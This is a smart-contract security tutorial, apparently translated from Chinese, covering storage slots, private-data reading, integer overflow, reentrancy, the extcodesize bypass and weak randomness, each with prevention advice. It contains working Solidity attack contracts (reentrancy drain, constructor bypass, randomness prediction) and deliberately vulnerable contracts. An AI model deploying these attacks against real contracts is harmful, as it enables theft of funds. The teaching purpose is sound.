The storage method of variable-length arrays is very peculiar. When a variable-length array is encountered, a new slot slotA will be enabled to store the length of the array, and its data will be stored in another slot numbered slotV. slotA indicates the declaration position of the variable-length array, length indicates the length of the variable-length array, slotV indicates the storage position of the variable-length array data, value indicates the value of a certain data of the variable-length array, and index indicates the index subscript corresponding to the value ,but

length = sload(slotA)
slotV = keccak256(slotA) + index
value = sload(slotV)

The variable-length array cannot know the length of the array during compilation, and there is no way to reserve storage space in advance, so Solidity uses slotA to store the length of the variable-length array.

Let's write a simple example to verify the storage method of the variable-length array described above:

pragma solidity ^0.8.0;

contract haha{
  
  uint[] user;

  function addUser(uint a) public returns (bytes memory){
    user.push(a);
    return abi.encode(user);
  }
}

We input 1 and output:

Then on the debugger page of Remix,

The first slot is (the length of the variable-length array is stored here): 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563

This value is equal to: sha3("0x00000000000000000000000000000000000000000000000000000000000000000")

This is a fixed value, not randomly generated.

key = 0 this is the number of the current slot;

value = 1 This means that there is only one piece of data in the variable-length array user[], that is, the length of the array is 1;

The second slot is (the data in the variable-length array is stored here): 0x510e4e770828ddbf7f7b00ab00a9f6adaf81c0dc9cc85f1f8249c256942d61d9

This value is equal to: sha3("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563")

The slot numbers are: key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563

This value is equal to: sha3("0x0000000000000000000000000000000000000000000000000000000000000000")+0

The data stored in the slot is: value=0x0000000000000000000000000000000000000000000000000000000000000001

That is, 1 in hexadecimal notation, which is the value we passed in.

We input 2 and output:

Then on the debugger page of Remix,

The values ​​of the previous two slots are the same as above, here we can see that the new slots are: 0x6c13d8c1c5df666ea9ca2a428504a3776c8ca01021c3a1524ca7d765f600979a

This value is equal to: sha3("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564")

The slot number is: key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564

This value is equal to: sha3("0x0000000000000000000000000000000000000000000000000000000000000000")+1

The data stored in the slot is: value=0x0000000000000000000000000000000000000000000000000000000000000002

That is 2 in hexadecimal notation, which is the value we passed in.

We input 5 and output:

Then on the debugger page of Remix,

The latest slots are: 0x63d75db57ae45c3799740c3cd8dcee96a498324843d79ae390adc81d74b52f13 This value is equal to: sha3("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e565")

The slot number is: key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e565

This value is equal to: sha3("0x0000000000000000000000000000000000000000000000000000000000000000")+2

The data stored in the slot is: value=0x0000000000000000000000000000000000000000000000000000000000000005

That is 5 in hexadecimal notation, which is the value we passed in.

2. Vulnerabilities

There is such a contract:

contract Vault {
    uint public count = 123;
    address public owner = msg.sender;
    bool public isTrue = true;
    uint16 public u16 = 31;
    bytes32 private password;
    uint public constant someConst = 123;
    bytes32[3] public data;

    struct User {
        uint id;
        bytes32 password;
    }
    User[] private users;
    mapping(uint => User) private idToUser;

    constructor(bytes32 _password) {
        password = _password;
    }

    function addUser(bytes32 _password) public {
        User memory user = User({id: users.length, password: _password});

        users.push(user);
        idToUser[user.id] = user;
    }

    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    function getMapLocation(uint slot, uint key) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(key, slot)));
    }
}

From the above contract code, we can see that the Vault contract records sensitive data such as the user's username and password in the contract. From the pre-knowledge, we can know that the keywords that modify variables in the contract only limit its calling range , which indirectly proves that the data in the contract is public and can be read arbitrarily, and it is not safe to record sensitive data in the contract. Next, we will take you to read the data in this contract.

First, we use the account 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 to deploy the contract. When deploying the contract, we enter the following password:

  const password = ethers.utils.formatBytes32String("share123");
  const test = await Test.deploy(password);

I wrote the following task with hardhat:

task("test-transaction", "This task is broken")
    .setAction(async () => {
        const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3";

        const provider = await ethers.getDefaultProvider("http://127.0.0.1:8545");
        const slot0 = await provider.getStorageAt(contractAddress, "0x0");
        console.log("slot0: ", slot0);
    });

We can use getStorageAt to read the data of slot0, and the final output is:

slot0: 0x000000000000000000000000000000000000000000000000000000000000007b

The hexadecimal 7b is converted to decimal, which is 123, which is the value of the count variable in our contract. It is of type uint256, with a total of 256 digits. Hexadecimal requires 64 digits.

Let's read slot1 further down:

slot1: 0x000000000000000000001f01f39fd6e51aad88f6f4ce6ab8827279cfffb92266

Looking from the back to the front, the owner is 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266, which is of address type, occupying 160 digits, and the hexadecimal system requires 40 digits;

The second is isTrue, which is of bool type and occupies 8 digits. The hexadecimal system requires 2 digits, which is 01 here;

Then there is u16, which is of type uint16 and occupies 16 bits. The hexadecimal system requires 4 digits, that is, 001f, which is 31 when converted into decimal system, and the remaining digits in front are filled with zeros.

According to the contract, further down is the password of bytes32 type, which is of private type and occupies 32 bytes, so the next slot2 is this password, output: -slot2: 0x7368617265313233000000000000000000000000000000000000000000000000

We convert it to string:

console.log("password: ", ethers.utils.parseBytes32String(slot2));

output:

password:  share123

It can be seen that we have successfully obtained the privacy variable password, and its value is the same as the incoming password, which is share123.

2.Preventive measures

Do not store any sensitive data in the contract, because any data in the contract can be read. Common sensitive data such as secret keys, game clearance passwords, etc.

For example, the uint8 type has a total of 8 bits, which can represent the value of 00000000~11111111, converted into decimal, which is the value range of 0~255. At this time, once the result is 256, since there are only 8 digits in total, the 9th digit 1 cannot be displayed, leaving only 00000000, which is the desired 256, but actually 0 is obtained.

For example, the following TimeLock contract:

pragma solidity ^0.4.18;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

In the increaseLockTime function, since a free timestamp increment can be input by itself, there is a risk of integer overflow. Just imagine, if the input _secondsToIncrease is added to the original lockTime[msg.sender] ，due to overflow, the value of lockTime[msg.sender] will finally become a very small value, so that in the withdraw function, you can smoothly pass

require(now > lockTime[msg.sender]);

这一行，使得deposit进去的ETH可以提前被取出。

2.Preventive measures

First of all, in version 0.8.0, this problem has been solved at the language level: once an integer overflow occurs, the transaction will be directly reverted. Before version 0.8.0, a SafeMath library of openzeppelin was required.

3.Real cases

On April 22, 2018, hackers launched an attack on the BEC smart contract and took out out of thin air:

57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968 BEC tokens were sold in the market. If it is 0, the market collapses instantly.

The contract version is ^0.4.16, which is less than version 0.8, and the SafeMath library is not used, so there is an integer overflow problem.

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length;
    uint256 amount = uint256(cnt) * _value; //溢出点，这里存在整数溢出
    require(cnt > 0 && cnt <= 20);
    require(_value > 0 && balances[msg.sender] >= amount);
 
    balances[msg.sender] = balances[msg.sender].sub(amount);
    for (uint i = 0; i < cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
  }

The hacker passed in a very large value (here it is 2**255), and overflowed through multiplication, so that the amount (the total number of coins to be transferred) overflowed and became a small number or 0 (here became 0) , so as to bypass the check code of balances[msg.sender] >= amount, so that the malicious transfer of a huge amount of _value can be successful.

Malicious transfer records of actual attacks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

This attacked EtherStore contract can be used to deposit and withdraw Ethereum. The basic logic of the withdraw function is:

Determine whether the balance of the sender is greater than 0, if yes, the next step; Use the call method to send the sender all the balances in the contract belonging to the sender. If the sender is successful, the next step is; Clear the balance value belonging to the sender in the contract.

In the attack contract Attack contract, look at the attack function first, the basic logic is to call deposit to deposit 1 Ether, and then call withdraw to take it out. However, the key code is in the fallback function. This fallback function will first detect the balance of the attacked contract EtherStore, and if it is greater than 1 Ether, it will execute withdraw.

Once you know these concepts, you can demonstrate the attack process:

1. Suppose there is a balance of 10 ETH in the EtherStore contract;

2. The attacker clicks on the attack function, first executes deposit, and then deposits 1 ETH, then executes withdraw, the first two lines of the withdraw function pass successfully, and the call function is used to send the balance belonging to the sender (here is the Attack contract) ;

3. After the Attack contract receives the balance, according to the picture above, first check whether msg.data is empty? Yes; does receive exist? No; then enter the fallback function;

4. In the fallback function, first check the balance of EtherStore, here it should be 10 - 1 = 9 Ether, pass, then execute withdraw again;

5. The withdraw function first checks the first two lines, (note, this is the key point of the attack process!) Is the balance belonging to the sender 0? The answer is not 0, and it can still pass, because the last time the withdraw function was executed, it actually stayed at the step of calling to send Ether. The next step has not been executed yet, and the balance value in the EtherStore has not been updated, so it can still pass here, continue Execute to the next call to send the balance, so that the contract balance is sent over again;

6. The fallback function of the Attack contract starts to withdraw again, and the withdrawal process will not stop until the balance in the EtherStore contract is 0 and the fallback function of the Attack contract fails the balance test.

7. After the execution is completed, all 10 ETH of the attacked contract have been sent to the attacked contract Attack.

In the example here, it is also possible to use the receive function in the Attack contract, and there can be a separate receive function in the contract, but a separate fallback function will report a warning.

2.Prevention methods

1. Avoid using the call method to transfer funds

   The most important point is that transfer and send have a gas limit of 2300. And call does not. This is why our example above can always be executed recursively. If you use transfer or send, the gas of 2300 will be exhausted soon, and you will not be withdrawn continuously at all.

2. Ensure that the logic of all state variables occurs before the transfer

   In our example, another reason why it can be attacked is that the change of the balances balance is after the transfer of the call, so the repeated withdrawal can be repeated through the status detection of the first two lines.

3. Introducing a mutex

   That is, when the code is executed, a mutex is used to lock the contract state to prevent re-entry. For example, in our example, it can be changed to:

    bool reEntrancyMutex = false;
    function withdraw() public {
        require(!reEntrancyMutex);
        uint bal = balances[msg.sender];
        require(bal > 0);

        reEntrancyMutex = true;
        (bool sent, ) = msg.sender.call{value: bal}("");
        reEntrancyMutex = false;
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

Or write a separate ReEntrancyGuard contract, in which there are only mutex variables and function decorators:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Then our EtherStore contract inherits and adds the noReentrant prefix to the withdraw function.

openzeppelin officially implements such an abstract contract ReentrancyGuard, the idea is the one above, but it can be customized more. In our actual projects, this implementation of open zeppelin is often used.

3.real case scenario

The DAO (Decentralized Autonomous Organization) was one of the main hackers in the early development of Ethereum. At the time, the contract held more than $150 million. Reentrancy played a major role in this attack, which eventually led to the Ethereum Classic (ETC) fork. For a detailed analysis of The DAO vulnerability, see Phil Daian's article.

The address of Ethereum may be an external user address (Externally Owned Accounts, EOA for short), or a contract address. Sometimes it is necessary to distinguish between these two addresses, or in other words, in many cases, it is to restrict other contract addresses from making cross-contract calls to prevent hacker attacks. This uses an EVM instruction: extcodesize.

This command can get address associated code length.

For example, the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Test {
    function getAddressCodeSize(address account) public view returns (uint size) {
        assembly {
            size := extcodesize(account)
        }
    }
}

contract Demo {
    constructor() {}
}

We can measure that the length of the Demo contract is 63, while the length of an ordinary user is 0.

But there are loopholes that allow the EOA check to be bypassed.

2.Vulnerabilities

The loophole is that if the attacking contract makes a cross-contract call in the constructor, then the code length of the associated address returned by extcodesize at this time is also 0, which can be determined as an EOA address. Because only when the constructor of the contract is executed, the contract code will be saved.

What the Ethereum node saves is actually deployedBytecode, which removes the constructor code that will be executed for the first deployment. The following contracts can exhibit this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}

This contract has an EOA check, and general attack contracts such as FailedAttack cannot be broken, but when Hack is directly called across contracts in the constructor function, the EOA check can be bypassed.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        guessTheRandomNumber.guess(answer);
    }

    // Helper function to check balance
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

The contract for guessing the number is very simple, that is, if you guess the number correctly, you will be given 1 ether. The seed used to generate the random number is

block.difficulty, block.timestamp

The attacking contract knows the rules of random generation, and uses the same random number seed—because it is all public data on the chain, it is calculated first and then called to the guessing contract, so that it is easy to win all the ethers in the contract.

2.Preventive measures

It is not necessary to use common block parameters such as block.difficulty and block.timestamp as random number seeds, which will be easily cracked.

Generally speaking, if you need to use random numbers, and this random number is used in very important scenarios involving core logic, you can choose to get random values ​​from the oracle, such as chainlink, which provides random numbers. There is a section "Get a Random Number" in the official document, you can click to view it.